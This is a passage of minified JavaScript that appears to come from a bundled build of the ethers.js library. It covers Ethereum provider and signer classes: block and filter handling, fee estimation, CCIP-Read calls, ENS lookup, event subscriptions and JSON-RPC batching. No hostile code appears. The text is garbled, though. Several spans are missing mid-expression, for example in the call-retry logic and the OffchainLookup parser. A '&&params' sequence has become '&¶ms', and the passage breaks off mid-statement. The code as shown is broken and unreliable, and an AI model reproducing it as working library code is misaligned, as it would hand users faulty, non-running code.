Block(formatBlock(value),this)}_wrapLog(value,network){return new Log(formatLog(value),this)}_wrapTransactionReceipt(value,network){return new TransactionReceipt(formatTransactionReceipt(value),this)}_wrapTransactionResponse(tx,network){return new TransactionResponse(formatTransactionResponse(tx),this)}_detectNetwork(){assert(false,"sub-classes must implement this","UNSUPPORTED_OPERATION",{operation:"_detectNetwork"})}async _perform(req){assert(false,`unsupported method: ${req.method}`,"UNSUPPORTED_OPERATION",{operation:req.method,info:req})}async getBlockNumber(){const blockNumber=getNumber(await this.#perform({method:"getBlockNumber"}),"%response");if(this.#lastBlockNumber>=0){this.#lastBlockNumber=blockNumber}return blockNumber}_getAddress(address){return resolveAddress(address,this)}_getBlockTag(blockTag){if(blockTag==null){return"latest"}switch(blockTag){case"earliest":return"0x0";case"finalized":case"latest":case"pending":case"safe":return blockTag}if(isHexString(blockTag)){if(isHexString(blockTag,32)){return blockTag}return toQuantity(blockTag)}if(typeof blockTag==="bigint"){blockTag=getNumber(blockTag,"blockTag")}if(typeof blockTag==="number"){if(blockTag>=0){return toQuantity(blockTag)}if(this.#lastBlockNumber>=0){return toQuantity(this.#lastBlockNumber+blockTag)}return this.getBlockNumber().then(b=>toQuantity(b+blockTag))}assertArgument(false,"invalid blockTag","blockTag",blockTag)}_getFilter(filter){const topics=(filter.topics||[]).map(t=>{if(t==null){return null}if(Array.isArray(t)){return concisify(t.map(t=>t.toLowerCase()))}return t.toLowerCase()});const blockHash="blockHash"in filter?filter.blockHash:undefined;const resolve=(_address,fromBlock,toBlock)=>{let address=undefined;switch(_address.length){case 0:break;case 1:address=_address[0];break;default:_address.sort();address=_address}if(blockHash){if(fromBlock!=null||toBlock!=null){throw new Error("invalid filter")}}const filter={};if(address){filter.address=address}if(topics.length){filter.topics=topics}if(fromBlock){filter.fromBlock=fromBlock}if(toBlock){filter.toBlock=toBlock}if(blockHash){filter.blockHash=blockHash}return filter};let address=[];if(filter.address){if(Array.isArray(filter.address)){for(const addr of filter.address){address.push(this._getAddress(addr))}}else{address.push(this._getAddress(filter.address))}}let fromBlock=undefined;if("fromBlock"in filter){fromBlock=this._getBlockTag(filter.fromBlock)}let toBlock=undefined;if("toBlock"in filter){toBlock=this._getBlockTag(filter.toBlock)}if(address.filter(a=>typeof a!=="string").length||fromBlock!=null&&typeof fromBlock!=="string"||toBlock!=null&&typeof toBlock!=="string"){return Promise.all([Promise.all(address),fromBlock,toBlock]).then(result=>{return resolve(result[0],result[1],result[2])})}return resolve(address,fromBlock,toBlock)}_getTransactionRequest(_request){const request=copyRequest(_request);const promises=[];["to","from"].forEach(key=>{if(request[key]==null){return}const addr=resolveAddress(request[key],this);if(isPromise$1(addr)){promises.push(async function(){request[key]=await addr}())}else{request[key]=addr}});if(request.blockTag!=null){const blockTag=this._getBlockTag(request.blockTag);if(isPromise$1(blockTag)){promises.push(async function(){request.blockTag=await blockTag}())}else{request.blockTag=blockTag}}if(promises.length){return async function(){await Promise.all(promises);return request}()}return request}async getNetwork(){if(this.#networkPromise==null){const detectNetwork=(async()=>{try{const network=await this._detectNetwork();this.emit("network",network,null);return network}catch(error){if(this.#networkPromise===detectNetwork){this.#networkPromise=null}throw error}})();this.#networkPromise=detectNetwork;return(await detectNetwork).clone()}const networkPromise=this.#networkPromise;const[expected,actual]=await Promise.all([networkPromise,this._detectNetwork()]);if(expected.chainId!==actual.chainId){if(this.#anyNetwork){this.emit("network",actual,expected);if(this.#networkPromise===networkPromise){this.#networkPromise=Promise.resolve(actual)}}else{assert(false,`network changed: ${expected.chainId} => ${actual.chainId} `,"NETWORK_ERROR",{event:"changed"})}}return expected.clone()}async getFeeData(){const network=await this.getNetwork();const getFeeDataFunc=async()=>{const{_block,gasPrice,priorityFee}=await resolveProperties({_block:this.#getBlock("latest",false),gasPrice:(async()=>{try{const value=await this.#perform({method:"getGasPrice"});return getBigInt(value,"%response")}catch(error){}return null})(),priorityFee:(async()=>{try{const value=await this.#perform({method:"getPriorityFee"});return getBigInt(value,"%response")}catch(error){}return null})()});let maxFeePerGas=null;let maxPriorityFeePerGas=null;const block=this._wrapBlock(_block,network);if(block&&block.baseFeePerGas){maxPriorityFeePerGas=priorityFee!=null?priorityFee:BigInt("1000000000");maxFeePerGas=block.baseFeePerGas*BN_2$1+maxPriorityFeePerGas}return new FeeData(gasPrice,maxFeePerGas,maxPriorityFeePerGas)};const plugin=network.getPlugin("org.ethers.plugins.network.FetchUrlFeeDataPlugin");if(plugin){const req=new FetchRequest(plugin.url);const feeData=await plugin.processFunc(getFeeDataFunc,this,req);return new FeeData(feeData.gasPrice,feeData.maxFeePerGas,feeData.maxPriorityFeePerGas)}return await getFeeDataFunc()}async estimateGas(_tx){let tx=this._getTransactionRequest(_tx);if(isPromise$1(tx)){tx=await tx}return getBigInt(await this.#perform({method:"estimateGas",transaction:tx}),"%response")}async#call(tx,blockTag,attempt){assert(attempt=0&&blockTag==="latest"&&transaction.to!=null&&dataSlice(error.data,0,4)==="0x556f1830"){const data=error.data;const txSender=await resolveAddress(transaction.to,this);let ccipArgs;try{ccipArgs=parseOffchainLookup(dataSlice(error.data,4))}catch(error){assert(false,error.message,"OFFCHAIN_FAULT",{reason:"BAD_DATA",transaction:transaction,info:{data:data}})}assert(ccipArgs.sender.toLowerCase()===txSender.toLowerCase(),"CCIP Read sender mismatch","CALL_EXCEPTION",{action:"call",data:data,reason:"OffchainLookup",transaction:transaction,invocation:null,revert:{signature:"OffchainLookup(address,string[],bytes,bytes4,bytes)",name:"OffchainLookup",args:ccipArgs.errorArgs}});const ccipResult=await this.ccipReadFetch(transaction,ccipArgs.calldata,ccipArgs.urls);assert(ccipResult!=null,"CCIP Read failed to fetch data","OFFCHAIN_FAULT",{reason:"FETCH_FAILED",transaction:transaction,info:{data:error.data,errorArgs:ccipArgs.errorArgs}});const tx={to:txSender,data:concat([ccipArgs.selector,encodeBytes([ccipResult,ccipArgs.extraData])])};this.emit("debug",{action:"sendCcipReadCall",transaction:tx});try{const result=await this.#call(tx,blockTag,attempt+1);this.emit("debug",{action:"receiveCcipReadCallResult",transaction:Object.assign({},tx),result:result});return result}catch(error){this.emit("debug",{action:"receiveCcipReadCallError",transaction:Object.assign({},tx),error:error});throw error}}throw error}}async#checkNetwork(promise){const{value}=await resolveProperties({network:this.getNetwork(),value:promise});return value}async call(_tx){const{tx,blockTag}=await resolveProperties({tx:this._getTransactionRequest(_tx),blockTag:this._getBlockTag(_tx.blockTag)});return await this.#checkNetwork(this.#call(tx,blockTag,_tx.enableCcipRead?0:-1))}async#getAccountValue(request,_address,_blockTag){let address=this._getAddress(_address);let blockTag=this._getBlockTag(_blockTag);if(typeof address!=="string"||typeof blockTag!=="string"){[address,blockTag]=await Promise.all([address,blockTag])}return await this.#checkNetwork(this.#perform(Object.assign(request,{address:address,blockTag:blockTag})))}async getBalance(address,blockTag){return getBigInt(await this.#getAccountValue({method:"getBalance"},address,blockTag),"%response")}async getTransactionCount(address,blockTag){return getNumber(await this.#getAccountValue({method:"getTransactionCount"},address,blockTag),"%response")}async getCode(address,blockTag){return hexlify(await this.#getAccountValue({method:"getCode"},address,blockTag))}async getStorage(address,_position,blockTag){const position=getBigInt(_position,"position");return hexlify(await this.#getAccountValue({method:"getStorage",position:position},address,blockTag))}async broadcastTransaction(signedTx){const{blockNumber,hash,network}=await resolveProperties({blockNumber:this.getBlockNumber(),hash:this._perform({method:"broadcastTransaction",signedTransaction:signedTx}),network:this.getNetwork()});const tx=Transaction.from(signedTx);if(tx.hash!==hash){throw new Error("@TODO: the returned hash did not match")}return this._wrapTransactionResponse(tx,network).replaceableTransaction(blockNumber)}async#getBlock(block,includeTransactions){if(isHexString(block,32)){return await this.#perform({method:"getBlock",blockHash:block,includeTransactions:includeTransactions})}let blockTag=this._getBlockTag(block);if(typeof blockTag!=="string"){blockTag=await blockTag}return await this.#perform({method:"getBlock",blockTag:blockTag,includeTransactions:includeTransactions})}async getBlock(block,prefetchTxs){const{network,params}=await resolveProperties({network:this.getNetwork(),params:this.#getBlock(block,!!prefetchTxs)});if(params==null){return null}return this._wrapBlock(params,network)}async getTransaction(hash){const{network,params}=await resolveProperties({network:this.getNetwork(),params:this.#perform({method:"getTransaction",hash:hash})});if(params==null){return null}return this._wrapTransactionResponse(params,network)}async getTransactionReceipt(hash){const{network,params}=await resolveProperties({network:this.getNetwork(),params:this.#perform({method:"getTransactionReceipt",hash:hash})});if(params==null){return null}if(params.gasPrice==null&¶ms.effectiveGasPrice==null){const tx=await this.#perform({method:"getTransaction",hash:hash});if(tx==null){throw new Error("report this; could not find tx or effectiveGasPrice")}params.effectiveGasPrice=tx.gasPrice}return this._wrapTransactionReceipt(params,network)}async getTransactionResult(hash){const{result}=await resolveProperties({network:this.getNetwork(),result:this.#perform({method:"getTransactionResult",hash:hash})});if(result==null){return null}return hexlify(result)}async getLogs(_filter){let filter=this._getFilter(_filter);if(isPromise$1(filter)){filter=await filter}const{network,params}=await resolveProperties({network:this.getNetwork(),params:this.#perform({method:"getLogs",filter:filter})});return params.map(p=>this._wrapLog(p,network))}_getProvider(chainId){assert(false,"provider cannot connect to target network","UNSUPPORTED_OPERATION",{operation:"_getProvider()"})}async getResolver(name){return await EnsResolver.fromName(this,name)}async getAvatar(name){const resolver=await this.getResolver(name);if(resolver){return await resolver.getAvatar()}return null}async resolveName(name){const resolver=await this.getResolver(name);if(resolver){return await resolver.getAddress()}return null}async lookupAddress(address){address=getAddress(address);const node=namehash(address.substring(2).toLowerCase()+".addr.reverse");try{const ensAddr=await EnsResolver.getEnsAddress(this);const ensContract=new Contract(ensAddr,["function resolver(bytes32) view returns (address)"],this);const resolver=await ensContract.resolver(node);if(resolver==null||resolver===ZeroAddress){return null}const resolverContract=new Contract(resolver,["function name(bytes32) view returns (string)"],this);const name=await resolverContract.name(node);const check=await this.resolveName(name);if(check!==address){return null}return name}catch(error){if(isError(error,"BAD_DATA")&&error.value==="0x"){return null}if(isError(error,"CALL_EXCEPTION")){return null}throw error}return null}async waitForTransaction(hash,_confirms,timeout){const confirms=_confirms!=null?_confirms:1;if(confirms===0){return this.getTransactionReceipt(hash)}return new Promise(async(resolve,reject)=>{let timer=null;const listener=async blockNumber=>{try{const receipt=await this.getTransactionReceipt(hash);if(receipt!=null){if(blockNumber-receipt.blockNumber+1>=confirms){resolve(receipt);if(timer){clearTimeout(timer);timer=null}return}}}catch(error){console.log("EEE",error)}this.once("block",listener)};if(timeout!=null){timer=setTimeout(()=>{if(timer==null){return}timer=null;this.off("block",listener);reject(makeError("timeout","TIMEOUT",{reason:"timeout"}))},timeout)}listener(await this.getBlockNumber())})}async waitForBlock(blockTag){assert(false,"not implemented yet","NOT_IMPLEMENTED",{operation:"waitForBlock"})}_clearTimeout(timerId){const timer=this.#timers.get(timerId);if(!timer){return}if(timer.timer){clearTimeout(timer.timer)}this.#timers.delete(timerId)}_setTimeout(_func,timeout){if(timeout==null){timeout=0}const timerId=this.#nextTimer++;const func=()=>{this.#timers.delete(timerId);_func()};if(this.paused){this.#timers.set(timerId,{timer:null,func:func,time:timeout})}else{const timer=setTimeout(func,timeout);this.#timers.set(timerId,{timer:timer,func:func,time:getTime$1()})}return timerId}_forEachSubscriber(func){for(const sub of this.#subs.values()){func(sub.subscriber)}}_getSubscriber(sub){switch(sub.type){case"debug":case"error":case"network":return new UnmanagedSubscriber(sub.type);case"block":{const subscriber=new PollingBlockSubscriber(this);subscriber.pollingInterval=this.pollingInterval;return subscriber}case"safe":case"finalized":return new PollingBlockTagSubscriber(this,sub.type);case"event":return new PollingEventSubscriber(this,sub.filter);case"transaction":return new PollingTransactionSubscriber(this,sub.hash);case"orphan":return new PollingOrphanSubscriber(this,sub.filter)}throw new Error(`unsupported event: ${sub.type}`)}_recoverSubscriber(oldSub,newSub){for(const sub of this.#subs.values()){if(sub.subscriber===oldSub){if(sub.started){sub.subscriber.stop()}sub.subscriber=newSub;if(sub.started){newSub.start()}if(this.#pausedState!=null){newSub.pause(this.#pausedState)}break}}}async#hasSub(event,emitArgs){let sub=await getSubscription(event,this);if(sub.type==="event"&&emitArgs&&emitArgs.length>0&&emitArgs[0].removed===true){sub=await getSubscription({orphan:"drop-log",log:emitArgs[0]},this)}return this.#subs.get(sub.tag)||null}async#getSub(event){const subscription=await getSubscription(event,this);const tag=subscription.tag;let sub=this.#subs.get(tag);if(!sub){const subscriber=this._getSubscriber(subscription);const addressableMap=new WeakMap;const nameMap=new Map;sub={subscriber:subscriber,tag:tag,addressableMap:addressableMap,nameMap:nameMap,started:false,listeners:[]};this.#subs.set(tag,sub)}return sub}async on(event,listener){const sub=await this.#getSub(event);sub.listeners.push({listener:listener,once:false});if(!sub.started){sub.subscriber.start();sub.started=true;if(this.#pausedState!=null){sub.subscriber.pause(this.#pausedState)}}return this}async once(event,listener){const sub=await this.#getSub(event);sub.listeners.push({listener:listener,once:true});if(!sub.started){sub.subscriber.start();sub.started=true;if(this.#pausedState!=null){sub.subscriber.pause(this.#pausedState)}}return this}async emit(event,...args){const sub=await this.#hasSub(event,args);if(!sub||sub.listeners.length===0){return false}const count=sub.listeners.length;sub.listeners=sub.listeners.filter(({listener,once})=>{const payload=new EventPayload(this,once?null:listener,event);try{listener.call(this,...args,payload)}catch(error){}return!once});if(sub.listeners.length===0){if(sub.started){sub.subscriber.stop()}this.#subs.delete(sub.tag)}return count>0}async listenerCount(event){if(event){const sub=await this.#hasSub(event);if(!sub){return 0}return sub.listeners.length}let total=0;for(const{listeners}of this.#subs.values()){total+=listeners.length}return total}async listeners(event){if(event){const sub=await this.#hasSub(event);if(!sub){return[]}return sub.listeners.map(({listener})=>listener)}let result=[];for(const{listeners}of this.#subs.values()){result=result.concat(listeners.map(({listener})=>listener))}return result}async off(event,listener){const sub=await this.#hasSub(event);if(!sub){return this}if(listener){const index=sub.listeners.map(({listener})=>listener).indexOf(listener);if(index>=0){sub.listeners.splice(index,1)}}if(!listener||sub.listeners.length===0){if(sub.started){sub.subscriber.stop()}this.#subs.delete(sub.tag)}return this}async removeAllListeners(event){if(event){const{tag,started,subscriber}=await this.#getSub(event);if(started){subscriber.stop()}this.#subs.delete(tag)}else{for(const[tag,{started,subscriber}]of this.#subs){if(started){subscriber.stop()}this.#subs.delete(tag)}}return this}async addListener(event,listener){return await this.on(event,listener)}async removeListener(event,listener){return this.off(event,listener)}get destroyed(){return this.#destroyed}destroy(){this.removeAllListeners();for(const timerId of this.#timers.keys()){this._clearTimeout(timerId)}this.#destroyed=true}get paused(){return this.#pausedState!=null}set paused(pause){if(!!pause===this.paused){return}if(this.paused){this.resume()}else{this.pause(false)}}pause(dropWhilePaused){this.#lastBlockNumber=-1;if(this.#pausedState!=null){if(this.#pausedState==!!dropWhilePaused){return}assert(false,"cannot change pause type; resume first","UNSUPPORTED_OPERATION",{operation:"pause"})}this._forEachSubscriber(s=>s.pause(dropWhilePaused));this.#pausedState=!!dropWhilePaused;for(const timer of this.#timers.values()){if(timer.timer){clearTimeout(timer.timer)}timer.time=getTime$1()-timer.time}}resume(){if(this.#pausedState==null){return}this._forEachSubscriber(s=>s.resume());this.#pausedState=null;for(const timer of this.#timers.values()){let timeout=timer.time;if(timeout<0){timeout=0}timer.time=getTime$1();setTimeout(timer.func,timeout)}}}function _parseString(result,start){try{const bytes=_parseBytes(result,start);if(bytes){return toUtf8String(bytes)}}catch(error){}return null}function _parseBytes(result,start){if(result==="0x"){return null}try{const offset=getNumber(dataSlice(result,start,start+32));const length=getNumber(dataSlice(result,offset,offset+32));return dataSlice(result,offset+32,offset+32+length)}catch(error){}return null}function numPad(value){const result=toBeArray(value);if(result.length>32){throw new Error("internal; should not happen")}const padded=new Uint8Array(32);padded.set(result,32-result.length);return padded}function bytesPad(value){if(value.length%32===0){return value}const result=new Uint8Array(Math.ceil(value.length/32)*32);result.set(value);return result}const empty=new Uint8Array([]);function encodeBytes(datas){const result=[];let byteCount=0;for(let i=0;i=5*32,"insufficient OffchainLookup data","OFFCHAIN_FAULT",{reason:"insufficient OffchainLookup data"});const sender=dataSlice(data,0,32);assert(dataSlice(sender,0,12)===dataSlice(zeros,0,12),"corrupt OffchainLookup sender","OFFCHAIN_FAULT",{reason:"corrupt OffchainLookup sender"});result.sender=dataSlice(sender,12);try{const urls=[];const urlsOffset=getNumber(dataSlice(data,32,64));const urlsLength=getNumber(dataSlice(data,urlsOffset,urlsOffset+32));const urlsData=dataSlice(data,urlsOffset+32);for(let u=0;uresult[k]);return result}function checkProvider(signer,operation){if(signer.provider){return signer.provider}assert(false,"missing provider","UNSUPPORTED_OPERATION",{operation:operation})}async function populate(signer,tx){let pop=copyRequest(tx);if(pop.to!=null){pop.to=resolveAddress(pop.to,signer)}if(pop.from!=null){const from=pop.from;pop.from=Promise.all([signer.getAddress(),resolveAddress(from,signer)]).then(([address,from])=>{assertArgument(address.toLowerCase()===from.toLowerCase(),"transaction from mismatch","tx.from",from);return address})}else{pop.from=signer.getAddress()}return await resolveProperties(pop)}class AbstractSigner{provider;constructor(provider){defineProperties(this,{provider:provider||null})}async getNonce(blockTag){return checkProvider(this,"getTransactionCount").getTransactionCount(await this.getAddress(),blockTag)}async populateCall(tx){const pop=await populate(this,tx);return pop}async populateTransaction(tx){const provider=checkProvider(this,"populateTransaction");const pop=await populate(this,tx);if(pop.nonce==null){pop.nonce=await this.getNonce("pending")}if(pop.gasLimit==null){pop.gasLimit=await this.estimateGas(pop)}const network=await this.provider.getNetwork();if(pop.chainId!=null){const chainId=getBigInt(pop.chainId);assertArgument(chainId===network.chainId,"transaction chainId mismatch","tx.chainId",tx.chainId)}else{pop.chainId=network.chainId}const hasEip1559=pop.maxFeePerGas!=null||pop.maxPriorityFeePerGas!=null;if(pop.gasPrice!=null&&(pop.type===2||hasEip1559)){assertArgument(false,"eip-1559 transaction do not support gasPrice","tx",tx)}else if((pop.type===0||pop.type===1)&&hasEip1559){assertArgument(false,"pre-eip-1559 transaction do not support maxFeePerGas/maxPriorityFeePerGas","tx",tx)}if((pop.type===2||pop.type==null)&&(pop.maxFeePerGas!=null&&pop.maxPriorityFeePerGas!=null)){pop.type=2}else if(pop.type===0||pop.type===1){const feeData=await provider.getFeeData();assert(feeData.gasPrice!=null,"network does not support gasPrice","UNSUPPORTED_OPERATION",{operation:"getGasPrice"});if(pop.gasPrice==null){pop.gasPrice=feeData.gasPrice}}else{const feeData=await provider.getFeeData();if(pop.type==null){if(feeData.maxFeePerGas!=null&&feeData.maxPriorityFeePerGas!=null){if(pop.authorizationList&&pop.authorizationList.length){pop.type=4}else{pop.type=2}if(pop.gasPrice!=null){const gasPrice=pop.gasPrice;delete pop.gasPrice;pop.maxFeePerGas=gasPrice;pop.maxPriorityFeePerGas=gasPrice}else{if(pop.maxFeePerGas==null){pop.maxFeePerGas=feeData.maxFeePerGas}if(pop.maxPriorityFeePerGas==null){pop.maxPriorityFeePerGas=feeData.maxPriorityFeePerGas}}}else if(feeData.gasPrice!=null){assert(!hasEip1559,"network does not support EIP-1559","UNSUPPORTED_OPERATION",{operation:"populateTransaction"});if(pop.gasPrice==null){pop.gasPrice=feeData.gasPrice}pop.type=0}else{assert(false,"failed to get consistent fee data","UNSUPPORTED_OPERATION",{operation:"signer.getFeeData"})}}else if(pop.type===2||pop.type===3||pop.type===4){if(pop.maxFeePerGas==null){pop.maxFeePerGas=feeData.maxFeePerGas}if(pop.maxPriorityFeePerGas==null){pop.maxPriorityFeePerGas=feeData.maxPriorityFeePerGas}}}return await resolveProperties(pop)}async populateAuthorization(_auth){const auth=Object.assign({},_auth);if(auth.chainId==null){auth.chainId=(await checkProvider(this,"getNetwork").getNetwork()).chainId}if(auth.nonce==null){auth.nonce=await this.getNonce()}return auth}async estimateGas(tx){return checkProvider(this,"estimateGas").estimateGas(await this.populateCall(tx))}async call(tx){return checkProvider(this,"call").call(await this.populateCall(tx))}async resolveName(name){const provider=checkProvider(this,"resolveName");return await provider.resolveName(name)}async sendTransaction(tx){const provider=checkProvider(this,"sendTransaction");const pop=await this.populateTransaction(tx);delete pop.from;const txObj=Transaction.from(pop);return await provider.broadcastTransaction(await this.signTransaction(txObj))}authorize(authorization){assert(false,"authorization not implemented for this signer","UNSUPPORTED_OPERATION",{operation:"authorize"})}}class VoidSigner extends AbstractSigner{address;constructor(address,provider){super(provider);defineProperties(this,{address:address})}async getAddress(){return this.address}connect(provider){return new VoidSigner(this.address,provider)}#throwUnsupported(suffix,operation){assert(false,`VoidSigner cannot sign ${suffix}`,"UNSUPPORTED_OPERATION",{operation:operation})}async signTransaction(tx){this.#throwUnsupported("transactions","signTransaction")}async signMessage(message){this.#throwUnsupported("messages","signMessage")}async signTypedData(domain,types,value){this.#throwUnsupported("typed-data","signTypedData")}}const shown=new Set;function showThrottleMessage(service){if(shown.has(service)){return}shown.add(service);console.log("========= NOTICE =========");console.log(`Request-Rate Exceeded for ${service} (this message will not be repeated)`);console.log("");console.log("The default API keys for each service are provided as a highly-throttled,");console.log("community resource for low-traffic projects and early prototyping.");console.log("");console.log("While your application will continue to function, we highly recommended");console.log("signing up for your own API keys to improve performance, increase your");console.log("request rate/limit and enable other perks, such as metrics and advanced APIs.");console.log("");console.log("For more details: https://docs.ethers.org/api-keys/");console.log("==========================")}function copy(obj){return JSON.parse(JSON.stringify(obj))}class FilterIdSubscriber{#provider;#filterIdPromise;#poller;#running;#network;#hault;constructor(provider){this.#provider=provider;this.#filterIdPromise=null;this.#poller=this.#poll.bind(this);this.#running=false;this.#network=null;this.#hault=false}_subscribe(provider){throw new Error("subclasses must override this")}_emitResults(provider,result){throw new Error("subclasses must override this")}_recover(provider){throw new Error("subclasses must override this")}async#poll(blockNumber){try{if(this.#filterIdPromise==null){this.#filterIdPromise=this._subscribe(this.#provider)}let filterId=null;try{filterId=await this.#filterIdPromise}catch(error){if(!isError(error,"UNSUPPORTED_OPERATION")||error.operation!=="eth_newFilter"){throw error}}if(filterId==null){this.#filterIdPromise=null;this.#provider._recoverSubscriber(this,this._recover(this.#provider));return}const network=await this.#provider.getNetwork();if(!this.#network){this.#network=network}if(this.#network.chainId!==network.chainId){throw new Error("chaid changed")}if(this.#hault){return}const result=await this.#provider.send("eth_getFilterChanges",[filterId]);await this._emitResults(this.#provider,result)}catch(error){console.log("@TODO",error)}this.#provider.once("block",this.#poller)}#teardown(){const filterIdPromise=this.#filterIdPromise;if(filterIdPromise){this.#filterIdPromise=null;filterIdPromise.then(filterId=>{if(this.#provider.destroyed){return}this.#provider.send("eth_uninstallFilter",[filterId])})}}start(){if(this.#running){return}this.#running=true;this.#poll(-2)}stop(){if(!this.#running){return}this.#running=false;this.#hault=true;this.#teardown();this.#provider.off("block",this.#poller)}pause(dropWhilePaused){if(dropWhilePaused){this.#teardown()}this.#provider.off("block",this.#poller)}resume(){this.start()}}class FilterIdEventSubscriber extends FilterIdSubscriber{#event;constructor(provider,filter){super(provider);this.#event=copy(filter)}_recover(provider){return new PollingEventSubscriber(provider,this.#event)}async _subscribe(provider){const filterId=await provider.send("eth_newFilter",[this.#event]);return filterId}async _emitResults(provider,results){for(const result of results){provider.emit(this.#event,provider._wrapLog(result,provider._network))}}}class FilterIdPendingSubscriber extends FilterIdSubscriber{async _subscribe(provider){return await provider.send("eth_newPendingTransactionFilter",[])}async _emitResults(provider,results){for(const result of results){provider.emit("pending",result)}}}const Primitive="bigint,boolean,function,number,string,symbol".split(/,/g);function deepCopy(value){if(value==null||Primitive.indexOf(typeof value)>=0){return value}if(typeof value.getAddress==="function"){return value}if(Array.isArray(value)){return value.map(deepCopy)}if(typeof value==="object"){return Object.keys(value).reduce((accum,key)=>{accum[key]=value[key];return accum},{})}throw new Error(`should not happen: ${value} (${typeof value})`)}function stall$3(duration){return new Promise(resolve=>{setTimeout(resolve,duration)})}function getLowerCase(value){if(value){return value.toLowerCase()}return value}function isPollable(value){return value&&typeof value.pollingInterval==="number"}const defaultOptions={polling:false,staticNetwork:null,batchStallTime:10,batchMaxSize:1<<20,batchMaxCount:100,cacheTimeout:250,pollingInterval:4e3};class JsonRpcSigner extends AbstractSigner{address;constructor(provider,address){super(provider);address=getAddress(address);defineProperties(this,{address:address})}connect(provider){assert(false,"cannot reconnect JsonRpcSigner","UNSUPPORTED_OPERATION",{operation:"signer.connect"})}async getAddress(){return this.address}async populateTransaction(tx){return await this.populateCall(tx)}async sendUncheckedTransaction(_tx){const tx=deepCopy(_tx);const promises=[];if(tx.from){const _from=tx.from;promises.push((async()=>{const from=await resolveAddress(_from,this.provider);assertArgument(from!=null&&from.toLowerCase()===this.address.toLowerCase(),"from address mismatch","transaction",_tx);tx.from=from})())}else{tx.from=this.address}if(tx.gasLimit==null){promises.push((async()=>{tx.gasLimit=await this.provider.estimateGas({...tx,from:this.address})})())}if(tx.to!=null){const _to=tx.to;promises.push((async()=>{tx.to=await resolveAddress(_to,this.provider)})())}if(promises.length){await Promise.all(promises)}const hexTx=this.provider.getRpcTransaction(tx);return this.provider.send("eth_sendTransaction",[hexTx])}async sendTransaction(tx){const blockNumber=await this.provider.getBlockNumber();const hash=await this.sendUncheckedTransaction(tx);return await new Promise((resolve,reject)=>{const timeouts=[1e3,100];let invalids=0;const checkTx=async()=>{try{const tx=await this.provider.getTransaction(hash);if(tx!=null){resolve(tx.replaceableTransaction(blockNumber));return}}catch(error){if(isError(error,"CANCELLED")||isError(error,"BAD_DATA")||isError(error,"NETWORK_ERROR")||isError(error,"UNSUPPORTED_OPERATION")){if(error.info==null){error.info={}}error.info.sendTransactionHash=hash;reject(error);return}if(isError(error,"INVALID_ARGUMENT")){invalids++;if(error.info==null){error.info={}}error.info.sendTransactionHash=hash;if(invalids>10){reject(error);return}}this.provider.emit("error",makeError("failed to fetch transation after sending (will try again)","UNKNOWN_ERROR",{error:error}))}this.provider._setTimeout(()=>{checkTx()},timeouts.pop()||4e3)};checkTx()})}async signTransaction(_tx){const tx=deepCopy(_tx);if(tx.from){const from=await resolveAddress(tx.from,this.provider);assertArgument(from!=null&&from.toLowerCase()===this.address.toLowerCase(),"from address mismatch","transaction",_tx);tx.from=from}else{tx.from=this.address}const hexTx=this.provider.getRpcTransaction(tx);return await this.provider.send("eth_signTransaction",[hexTx])}async signMessage(_message){const message=typeof _message==="string"?toUtf8Bytes(_message):_message;return await this.provider.send("personal_sign",[hexlify(message),this.address.toLowerCase()])}async signTypedData(domain,types,_value){const value=deepCopy(_value);const populated=await TypedDataEncoder.resolveNames(domain,types,value,async value=>{const address=await resolveAddress(value);assertArgument(address!=null,"TypedData does not support null address","value",value);return address});return await this.provider.send("eth_signTypedData_v4",[this.address.toLowerCase(),JSON.stringify(TypedDataEncoder.getPayload(populated.domain,types,populated.value))])}async unlock(password){return this.provider.send("personal_unlockAccount",[this.address.toLowerCase(),password,null])}async _legacySignMessage(_message){const message=typeof _message==="string"?toUtf8Bytes(_message):_message;return await this.provider.send("eth_sign",[this.address.toLowerCase(),hexlify(message)])}}class JsonRpcApiProvider extends AbstractProvider{#options;#nextId;#payloads;#drainTimer;#notReady;#network;#pendingDetectNetwork;#scheduleDrain(){if(this.#drainTimer){return}const stallTime=this._getOption("batchMaxCount")===1?0:this._getOption("batchStallTime");this.#drainTimer=setTimeout(()=>{this.#drainTimer=null;const payloads=this.#payloads;this.#payloads=[];while(payloads.length){const batch=[payloads.shift()];while(payloads.length){if(batch.length===this.#options.batchMaxCount){break}batch.push(payloads.shift());const bytes=JSON.stringify(batch.map(p=>p.payload));if(bytes.length>this.#options.batchMaxSize){payloads.unshift(batch.pop());break}}(async()=>{const payload=batch.length===1?batch[0].payload:batch.map(p=>p.payload);this.emit("debug",{action:"sendRpcPayload",payload:payload});try{const result=await this._send(payload);this.emit("debug",{action:"receiveRpcResult",result:result});for(const{resolve,reject,payload}of batch){if(this.destroyed){reject(makeError("provider destroyed; cancelled request","UNSUPPORTED_OPERATION",{operation:payload.method}));continue}const resp=result.filter(r=>r.id===payload.id)[0];if(resp==null){const error=makeError("missing response for request","BAD_DATA",{value:result,info:{payload:payload}});this.emit("error",error);reject(error);continue}if("error"in resp){reject(this.getRpcError(payload,resp));continue}resolve(resp.result)}}catch(error){this.emit("debug",{action:"receiveRpcError",error:error});for(const{reject}of batch){reject(error)}}})()}},stallTime)}constructor(network,options){super(network,options);this.#nextId=1;this.#options=Object.assign({},defaultOptions,options||{});this.#payloads=[];this.#drainTimer=null;this.#network=null;this.#pendingDetectNetwork=null;{let resolve=null;const promise=new Promise(_resolve=>{resolve=_resolve});this.#notReady={promise:promise,resolve:resolve}}const staticNetwork=this._getOption("staticNetwork");if(typeof staticNetwork==="boolean"){assertArgument(!staticNetwork||network!=="any","staticNetwork cannot be used on special network 'any'","options",options);if(staticNetwork&&network!=null){this.#network=Network.from(network)}}else if(staticNetwork){assertArgument(network==null||staticNetwork.matches(network),"staticNetwork MUST match network object","options",options);this.#network=staticNetwork}}_getOption(key){return this.#options[key]}get _network(){assert(this.#network,"network is not available yet","NETWORK_ERROR");return this.#network}async _perform(req){if(req.method==="call"||req.method==="estimateGas"){let tx=req.transaction;if(tx&&tx.type!=null&&getBigInt(tx.type)){if(tx.maxFeePerGas==null&&tx.maxPriorityFeePerGas==null){const feeData=await this.getFeeData();if(feeData.maxFeePerGas==null&&feeData.maxPriorityFeePerGas==null){req=Object.assign({},req,{transaction:Object.assign({},tx,{type:undefined})})}}}}const request=this.getRpcRequest(req);if(request!=null){return await this.send(request.method,request.args)}return super._perform(req)}async _detectNetwork(){const network=this._getOption("staticNetwork");if(network){if(network===true){if(this.#network){return this.#network}}else{return network}}if(this.#pendingDetectNetwork){return await this.#pendingDetectNetwork}if(this.ready){this.#pendingDetectNetwork=(async()=>{try{const result=Network.from(getBigInt(await 